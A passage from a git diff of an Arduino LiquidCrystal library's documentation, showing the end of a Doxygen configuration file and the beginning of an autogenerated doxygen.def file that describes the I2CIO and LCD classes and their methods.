option also works with HAVE_DOT disabled, but it is recommended to +# install and use dot, since it yields more powerful graphs. + +CLASS_DIAGRAMS = YES + +# You can define message sequence charts within doxygen comments using the \msc +# command. Doxygen will then run the mscgen tool (see +# http://www.mcternan.me.uk/mscgen/) to produce the chart and insert it in the +# documentation. The MSCGEN_PATH tag allows you to specify the directory where +# the mscgen tool resides. If left empty the tool is assumed to be found in the +# default search path. + +MSCGEN_PATH = + +# If set to YES, the inheritance and collaboration graphs will hide +# inheritance and usage relations if the target is undocumented +# or is not a class. + +HIDE_UNDOC_RELATIONS = YES + +# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is +# available from the path. This tool is part of Graphviz, a graph visualization +# toolkit from AT&T and Lucent Bell Labs. The other options in this section +# have no effect if this option is set to NO (the default) + +HAVE_DOT = NO + +# The DOT_NUM_THREADS specifies the number of dot invocations doxygen is +# allowed to run in parallel. When set to 0 (the default) doxygen will +# base this on the number of processors available in the system. You can set it +# explicitly to a value larger than 0 to get control over the balance +# between CPU load and processing speed. + +DOT_NUM_THREADS = 0 + +# By default doxygen will write a font called Helvetica to the output +# directory and reference it in all dot files that doxygen generates. +# When you want a differently looking font you can specify the font name +# using DOT_FONTNAME. You need to make sure dot is able to find the font, +# which can be done by putting it in a standard location or by setting the +# DOTFONTPATH environment variable or by setting DOT_FONTPATH to the directory +# containing the font. + +DOT_FONTNAME = Helvetica + +# The DOT_FONTSIZE tag can be used to set the size of the font of dot graphs. +# The default size is 10pt. + +DOT_FONTSIZE = 10 + +# By default doxygen will tell dot to use the output directory to look for the +# FreeSans.ttf font (which doxygen will put there itself). If you specify a +# different font using DOT_FONTNAME you can set the path where dot +# can find it using this tag. + +DOT_FONTPATH = + +# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for each documented class showing the direct and +# indirect inheritance relations. Setting this tag to YES will force the +# the CLASS_DIAGRAMS tag to NO. + +CLASS_GRAPH = YES + +# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for each documented class showing the direct and +# indirect implementation dependencies (inheritance, containment, and +# class references variables) of the class with other documented classes. + +COLLABORATION_GRAPH = YES + +# If the GROUP_GRAPHS and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for groups, showing the direct groups dependencies + +GROUP_GRAPHS = YES + +# If the UML_LOOK tag is set to YES doxygen will generate inheritance and +# collaboration diagrams in a style similar to the OMG's Unified Modeling +# Language. + +UML_LOOK = NO + +# If set to YES, the inheritance and collaboration graphs will show the +# relations between templates and their instances. + +TEMPLATE_RELATIONS = NO + +# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT +# tags are set to YES then doxygen will generate a graph for each documented +# file showing the direct and indirect include dependencies of the file with +# other documented files. + +INCLUDE_GRAPH = YES + +# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and +# HAVE_DOT tags are set to YES then doxygen will generate a graph for each +# documented header file showing the documented files that directly or +# indirectly include this file. + +INCLUDED_BY_GRAPH = YES + +# If the CALL_GRAPH and HAVE_DOT options are set to YES then +# doxygen will generate a call dependency graph for every global function +# or class method. Note that enabling this option will significantly increase +# the time of a run. So in most cases it will be better to enable call graphs +# for selected functions only using the \callgraph command. + +CALL_GRAPH = NO + +# If the CALLER_GRAPH and HAVE_DOT tags are set to YES then +# doxygen will generate a caller dependency graph for every global function +# or class method. Note that enabling this option will significantly increase +# the time of a run. So in most cases it will be better to enable caller +# graphs for selected functions only using the \callergraph command. + +CALLER_GRAPH = NO + +# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen +# will generate a graphical hierarchy of all classes instead of a textual one. + +GRAPHICAL_HIERARCHY = YES + +# If the DIRECTORY_GRAPH, SHOW_DIRECTORIES and HAVE_DOT tags are set to YES +# then doxygen will show the dependencies a directory has on other directories +# in a graphical way. The dependency relations are determined by the #include +# relations between the files in the directories. + +DIRECTORY_GRAPH = YES + +# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images +# generated by dot. Possible values are svg, png, jpg, or gif. +# If left blank png will be used. + +DOT_IMAGE_FORMAT = png + +# The tag DOT_PATH can be used to specify the path where the dot tool can be +# found. If left blank, it is assumed the dot tool can be found in the path. + +DOT_PATH = + +# The DOTFILE_DIRS tag can be used to specify one or more directories that +# contain dot files that are included in the documentation (see the +# \dotfile command). + +DOTFILE_DIRS = + +# The MSCFILE_DIRS tag can be used to specify one or more directories that +# contain msc files that are included in the documentation (see the +# \mscfile command). + +MSCFILE_DIRS = + +# The DOT_GRAPH_MAX_NODES tag can be used to set the maximum number of +# nodes that will be shown in the graph. If the number of nodes in a graph +# becomes larger than this value, doxygen will truncate the graph, which is +# visualized by representing a node as a red box. Note that doxygen if the +# number of direct children of the root node in a graph is already larger than +# DOT_GRAPH_MAX_NODES then the graph will not be shown at all. Also note +# that the size of a graph can be further restricted by MAX_DOT_GRAPH_DEPTH. + +DOT_GRAPH_MAX_NODES = 50 + +# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the +# graphs generated by dot. A depth value of 3 means that only nodes reachable +# from the root by following a path via at most 3 edges will be shown. Nodes +# that lay further from the root node will be omitted. Note that setting this +# option to 1 or 2 may greatly reduce the computation time needed for large +# code bases. Also note that the size of a graph can be further restricted by +# DOT_GRAPH_MAX_NODES. Using a depth of 0 means no depth restriction. + +MAX_DOT_GRAPH_DEPTH = 0 + +# Set the DOT_TRANSPARENT tag to YES to generate images with a transparent +# background. This is disabled by default, because dot on Windows does not +# seem to support this out of the box. Warning: Depending on the platform used, +# enabling this option may lead to badly anti-aliased labels on the edges of +# a graph (i.e. they become hard to read). + +DOT_TRANSPARENT = NO + +# Set the DOT_MULTI_TARGETS tag to YES allow dot to generate multiple output +# files in one run (i.e. multiple -o and -T options on the command line). This +# makes dot run faster, but since only newer versions of dot (>1.8.10) +# support this, this feature is disabled by default. + +DOT_MULTI_TARGETS = NO + +# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will +# generate a legend page explaining the meaning of the various boxes and +# arrows in the dot generated graphs. + +GENERATE_LEGEND = YES + +# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will +# remove the intermediate dot files that are used to generate +# the various graphs. + +DOT_CLEANUP = YES diff --git a/libraries/LiquidCrystal/docs/def/doxygen.def b/libraries/LiquidCrystal/docs/def/doxygen.def new file mode 100644 index 0000000..5af747c --- /dev/null +++ b/libraries/LiquidCrystal/docs/def/doxygen.def @@ -0,0 +1,7432 @@ +AutoGen Definitions dummy; +class = { + cp-id = 'class_i2_c_i_o'; + cp-name = 'I2CIO'; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a6f814653d903dc2ff6e8420eeb7954ae'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'i2cAddr'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '62'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Initializes the device. + @discussion This method initializes the device allocating an I2C address. + This method is the first method that should be call prior to calling any + other method form this class. On initialization all pins are configured + as INPUT on the device. + + @param i2cAddr: I2C Address where the device is located. + @result 1 if the device was initialized correctly, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ac26221011a8b49bcea9ef62712ea88a7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalRead'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '108'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Read a pin from the device. + @discussion Reads a particular pin from the device. To read a particular + pin it has to be configured as INPUT. During initialization all pins are + configured as INPUTs by default. Please refer to pinMode or portMode. + + @param pin[in] Pin from the port to read its status. Range (0..7) + @result Returns the pin status (HIGH, LOW) if the pin is configured + as an output, reading its value will always return LOW regardless of its + real state. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a473206162522b847546777d16a7c6dcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'digitalWrite'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'level'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '136'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Writes a digital level to a particular pin. + @discussion Write a level to the indicated pin of the device. For this + method to have effect, the pin has to be configured as OUTPUT using the + pinMode or portMode methods. + + @param pin[in] device pin to change level. Range (0..7). + @para level[in] logic level to set the pin at (HIGH, LOW). + @result 1 on success, 0 otherwise. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a32eb7832075ad6011d67874405a0d0a6'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'I2CIO'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '49'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Constructor method + @discussion Class constructor constructor. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a53b94274eb6bb68564cf5243323db887'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'pinMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'pin'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '73'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets the mode of a particular pin. + @discussion Sets the mode of a particular pin to INPUT, OUTPUT. digitalWrite + has no effect on pins which are not declared as output. + + @param pin[in] Pin from the I2C IO expander to be configured. Range 0..7 + @param dir[in] Pin direction (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a0341888753bc54c4384f5593a870fb34'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'portMode'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'dir'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '83'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Sets all the pins of the device in a particular direction. + @discussion This method sets all the pins of the device in a particular + direction. This method is useful to set all the pins of the device to be + either inputs or outputs. + @param dir[in] Direction of all the pins of the device (INPUT, OUTPUT). +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1a7a3db7bfc15ede0ae9e8c8bd44290ef7'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'read'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '94'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Reads all the pins of the device that are configured as INPUT. + @discussion Reads from the device the status of the pins that are configured + as INPUT. During initialization all pins are configured as INPUTs by default. + Please refer to pinMode or portMode. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_i2_c_i_o_1ae2063569c927d0008e2593d14504fdcd'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +int +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'write'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'value'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '123'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @method + @abstract Write a value to the device. + @discussion Writes to a set of pins in the device. The value is the binary + representation of all the pins in device. The value written is masked with + the configuration of the direction of the pins; to change the state of + a particular pin with this method, such pin has to be configured as OUTPUT + using the portMode or pinMode methods. If no pins have been configured as + OUTPUTs this method will have no effect. + + @param value[in] value to be written to the device. + @result 1 on success, 0 otherwise +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-section = { + sec-kind = 'private-attrib'; + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1a283a99ef1c6f58fa8a0489089cba9682'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_dirMask'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '142'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1ade58da873af4240a53053ef5f12a2728'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_i2cAddr'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '143'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1a8c566f3fd332eefe4db57cbe6b69337c'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +bool +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_initialised'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '144'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'variable'; + sec-mem-id = 'class_i2_c_i_o_1abcd6f7f5f176f965d8ae535afa9f6cec'; + sec-mem-virt = normal; + sec-mem-prot = private; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-name = '_shadow'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + sec-mem-desc-line = '141'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + }; /* cp-section */ + cp-filename = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/I2CIO.h'; + cp-fileline = '42'; + cp-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + cp-documentation = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; +}; /* class */ +class = { + cp-id = 'class_l_c_d'; + cp-name = 'LCD'; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___i2_c'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r2_w'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-ref = { + ref-type = derived; + ref-id = 'class_liquid_crystal___s_r3_w'; + ref-prot = public; + ref-virt = non-virtual; + }; + cp-section = { + sec-kind = 'public-func'; + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1abb3ed88d530f6283e6159b4973e7da9e'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'autoscroll'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '354'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on automatic scrolling of the LCD. + @discussion Turns on automatic scrolling of the LCD. This causes each + character output to the display to push previous characters over by one + space. If the current text direction is left-to-right (the default), + the display scrolls to the left; if the current direction is right-to-left, + the display scrolls to the right. + This has the effect of outputting each new character to the same location on + the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aba8867fe2210cbfa8db869208709be10'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'backlight'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '402'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Switch-on the LCD backlight. + @discussion Switch-on the LCD backlight. + The setBacklightPin has to be called before setting the backlight for + this method to work. @see setBacklightPin. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a3f587d1cbb2d59765ef60a5216b56fea'; + sec-mem-virt = virtual; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +virtual void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'begin'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'cols'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'rows'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charsize'; + sec-mem-param-defval = <<_EnD_oF_dEf_TeXt_ +LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '196'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract LCD initialization. + @discussion Initializes the LCD to a given size (col, row). This methods + initializes the LCD, therefore, it MUST be called prior to using any other + method from this class. + + This method is abstract, a base implementation is available common to all LCD + drivers. Should it not be compatible with some other LCD driver, a derived + implementation should be done on the driver specif class. + + @param cols[in] the number of columns that the display has + @param rows[in] the number of rows that the display has + @param charsize[in] character size, default==LCD_5x8DOTS +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a878b36878fa8287093964eba83aace77'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'blink'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '260'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the cursor of the LCD. + @discussion Display the blinking LCD cursor. If used in combination with + the cursor() function, the result will depend on the particular display. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1afa699e0beeeee03cce8cef87eba81c4a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'clear'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '208'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Clears the LCD. + @discussion Clears the LCD screen and positions the cursor in the upper-left + corner. + + This operation is time consuming for the LCD. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a91cba8f93c692abcddf8bc3de58d2d3a'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'createChar'; + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'location'; + }; /* sec-mem-param--param */ + sec-mem-param = { + sec-mem-param-type = <<_EnD_oF_dEf_TeXt_ +uint8_t +_EnD_oF_dEf_TeXt_; + sec-mem-param-declname = 'charmap'; + sec-mem-param-array = '[]'; + }; /* sec-mem-param--param */ + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '382'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Creates a custom character for use on the LCD. + @discussion Create a custom character (glyph) for use on the LCD. + Most chipsets only support up to eight characters of 5x8 pixels. Therefore, + this methods has been limited to locations (numbered 0 to 7). + + The appearance of each custom character is specified by an array of eight + bytes, one for each row. The five least significant bits of each byte + determine the pixels in that row. To display a custom character on screen, + write()/print() its number, i.e. lcd.print (char(x)); // Where x is 0..7. + + @param location[in] LCD memory location of the character to create + (0 to 7) + @param charmap[in] the bitmap array representing each row of the character. +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a194814f64dfa50a90e07e0fe0d361620'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'cursor'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '278'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Display the LCD cursor. + @discussion Display the LCD cursor: an underscore (line) at the location + where the next character will be written. + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1a5b07cf05e8e5e7c53654f5ca0cf58b89'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'display'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '242'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Turns on the LCD display. + @discussion Turns on the LCD display, after it's been turned off with + noDisplay(). This will restore the text (and cursor location) that was on + the display prior to calling noDisplay(). + + @param none +_EnD_oF_dEf_TeXt_; + }; /* sec-member */ + sec-member = { + sec-mem-kind = 'function'; + sec-mem-id = 'class_l_c_d_1aee45ad37f09312f5d9982257e2d37e68'; + sec-mem-virt = normal; + sec-mem-prot = public; + sec-mem-type = <<_EnD_oF_dEf_TeXt_ +void +_EnD_oF_dEf_TeXt_; + sec-mem-name = 'home'; + sec-mem-desc-file = '/Users/fmalpartida/development/ardWorkspace/LiquidCrystal_I2C/LiquiCrystal_I2C/LCD.h'; + sec-mem-desc-line = '221'; + sec-mem-briefdesc = <<_EnD_oF_dEf_TeXt_ + +_EnD_oF_dEf_TeXt_; + sec-mem-documentation = <<_EnD_oF_dEf_TeXt_ + @function + @abstract Sets the cursor to the upper-left corner. + @discussion Positions the cursor in the upper-left of the LCD. + That is, use that location in outputting subsequent text to 